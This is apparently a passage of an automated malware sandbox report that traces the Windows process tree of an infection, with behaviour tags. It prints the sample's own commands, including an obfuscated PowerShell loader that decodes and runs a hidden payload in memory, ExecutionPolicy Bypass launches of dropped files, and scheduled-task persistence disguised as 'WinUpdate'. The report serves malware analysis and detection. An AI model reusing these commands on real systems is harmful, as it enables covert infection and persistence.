    PID:6048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1208

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1372
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1484

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1996

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2256

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2768

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2848

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3408

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3496
- C:\Users\Admin\AppData\Local\Temp\b770d62550d8ff48c7fd45dd04d790f2.exe
  "C:\Users\Admin\AppData\Local\Temp\b770d62550d8ff48c7fd45dd04d790f2.exe"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ipconfig /release
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1560
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /release
      4⤵
      System Location Discovery: System Language Discovery
      Gathers network information
      PID:4392
- - C:\Users\Admin\AppData\Local\Temp\adns.exe
    "C:\Users\Admin\AppData\Local\Temp\adns.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ipconfig /release
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4364
    - - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /release
        5⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:3744
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of AdjustPrivilegeToken
      PID:1608
    - - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\kfdtjl.cmd"' & exit
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4300
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\kfdtjl.cmd"' & exit
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1304
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2072
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\kfdtjl.cmd"'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:4476
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kfdtjl.cmd" "
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4052
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:3600
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo F "
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:4768
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\kfdtjl.cmd.Jla
        9⤵
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:4824
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h C:\Users\Admin\AppData\Local\Temp\kfdtjl.cmd.Jla
        9⤵
        Sets file to hidden
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:2736
        
        C:\Users\Admin\AppData\Local\Temp\kfdtjl.cmd.Jla
        
        C:\Users\Admin\AppData\Local\Temp\kfdtjl.cmd.Jla -WindowStyle hidden -command "$Fywwr = get-content 'C:\Users\Admin\AppData\Local\Temp\kfdtjl.cmd' | Select-Object -Last 1; $Oidbnh = [System.Convert]::FromBase64String($Fywwr);$Gpldsatvv = New-Object System.IO.MemoryStream( , $Oidbnh );$Vhfdab = New-Object System.IO.MemoryStream;$Phmdkmi = New-Object System.IO.Compression.GzipStream $Gpldsatvv, ([IO.Compression.CompressionMode]::Decompress);$Phmdkmi.CopyTo( $Vhfdab );$Phmdkmi.Close();$Gpldsatvv.Close();[byte[]] $Oidbnh = $Vhfdab.ToArray();[Array]::Reverse($Oidbnh); $Jcglv = [System.Threading.Thread]::GetDomain().Load($Oidbnh); $Jfbubqgvmqz = $Jcglv.EntryPoint; [System.Delegate]::CreateDelegate([Action], $Jfbubqgvmqz.DeclaringType, $Jfbubqgvmqz.Name).DynamicInvoke() | Out-Null"
        9⤵
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:100
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c ipconfig /release
        10⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:5928
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c ipconfig /release
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:4420
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:5160
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /release
        12⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:5268
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        10⤵
        
        PID:3312
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:1452
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\pure.exe"' & exit
        11⤵
        
        PID:1388
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\pure.exe"' & exit
        12⤵
        
        PID:3980
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\pure.exe"'
        13⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4404
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\pure.exe"
        14⤵
        
        PID:5596
        
        C:\Users\Admin\AppData\Local\Temp\pure.exe
        
        C:\Users\Admin\AppData\Local\Temp\pure.exe
        15⤵
        
        PID:4020
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c ipconfig /release
        16⤵
        
        PID:4896
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c ipconfig /release
        17⤵
        
        PID:100
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /release
        18⤵
        Gathers network information
        
        PID:5112
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        16⤵
        
        PID:208
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        16⤵
        
        PID:5392
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        16⤵
        
        PID:1948
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        16⤵
        
        PID:1868
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        16⤵
        
        PID:1848
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        16⤵
        
        PID:3664
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        16⤵
        
        PID:5600
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        16⤵
        
        PID:3108
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        16⤵
        
        PID:5412
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        16⤵
        
        PID:2660
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c ipconfig /renew
        16⤵
        
        PID:3676
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c ipconfig /renew
        17⤵
        
        PID:4524
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /renew
        18⤵
        Gathers network information
        
        PID:5452
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 368
        18⤵
        Program crash
        
        PID:5868
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c ipconfig /renew
        10⤵
        
        PID:1528
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c ipconfig /renew
        11⤵
        
        PID:3000
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /renew
        12⤵
        Gathers network information
        
        PID:4356
    - - C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\azqqrx.exe"' & exit
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:6072
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\azqqrx.exe"' & exit
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5436
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:5552
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\azqqrx.exe"'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:5976
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\azqqrx.exe"
        8⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:5772
        
        C:\Users\Admin\AppData\Local\Temp\azqqrx.exe
        
        C:\Users\Admin\AppData\Local\Temp\azqqrx.exe
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1076
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c ipconfig /renew
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:5008
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c ipconfig /renew
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5016
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3228
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /renew
        6⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:3992
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:2060
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5072
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\oyliyr.exe"' & exit
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:448
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\oyliyr.exe"'
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:432
      - C:\Users\Admin\AppData\Local\Temp\oyliyr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\oyliyr.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Modifies system executable filetype association
        Drops file in Program Files directory
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:4696
        
        C:\Users\Admin\AppData\Local\Temp\3582-490\oyliyr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3582-490\oyliyr.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:3896
        
        C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:760
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\$77SVC~1.EXE"
        8⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4020
        
        C:\Users\Admin\AppData\Local\Temp\$77SVC~1.EXE
        
        C:\Users\Admin\AppData\Local\Temp\$77SVC~1.EXE
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1000
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        10⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:536
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:880
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:1640
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn WinUpdate /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"'
        12⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3840
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp15E4.tmp.bat""
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:632
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        11⤵
        
        PID:5024
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        11⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4500
        
        C:\Users\Admin\AppData\Roaming\WinUpdate.exe
        
        "C:\Users\Admin\AppData\Roaming\WinUpdate.exe"
        11⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2004
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xbjgpq.exe"' & exit
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:3436
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xbjgpq.exe"' & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3312
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1612
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\xbjgpq.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4132
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\xbjgpq.exe"
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2080
        
        C:\Users\Admin\AppData\Local\Temp\xbjgpq.exe
        
        C:\Users\Admin\AppData\Local\Temp\xbjgpq.exe
        8⤵
        Checks computer location settings
        Executes dropped EXE
        Modifies registry class
        
        PID:4552
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77pop2" /tr '"C:\Users\Admin\AppData\Roaming\$77pop2.exe"' & exit
        9⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4376
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn $77pop2 /tr '"C:\Users\Admin\AppData\Roaming\$77pop2.exe"' & exit
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:2288
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        11⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4924
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn $77pop2 /tr '"C:\Users\Admin\AppData\Roaming\$77pop2.exe"'
        11⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4720
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp555E.tmp.bat""
        9⤵
        
        PID:1100
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        
        PID:436
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        10⤵
        Delays execution with timeout.exe
        
        PID:3276
  - - C:\Windows\svchost.com
      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\rucdml.exe"' & exit
      4⤵
      Loads dropped DLL
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:960
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\rucdml.exe"' & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5232
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:6080
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\rucdml.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:5932
        
        C:\Windows\svchost.com
        
        "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\rucdml.exe"
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:812
        
        C:\Users\Admin\AppData\Local\Temp\rucdml.exe
        
        C:\Users\Admin\AppData\Local\Temp\rucdml.exe
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3952
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:5524
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ipconfig /renew
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4972
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /renew
      4⤵
      System Location Discovery: System Language Discovery
      Gathers network information
      PID:4008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3632

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3828

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3984

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2360

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2560

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2200

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4028

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2644

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3128

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4596

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:3184
- C:\Windows\SysWOW64\WerFault.exe
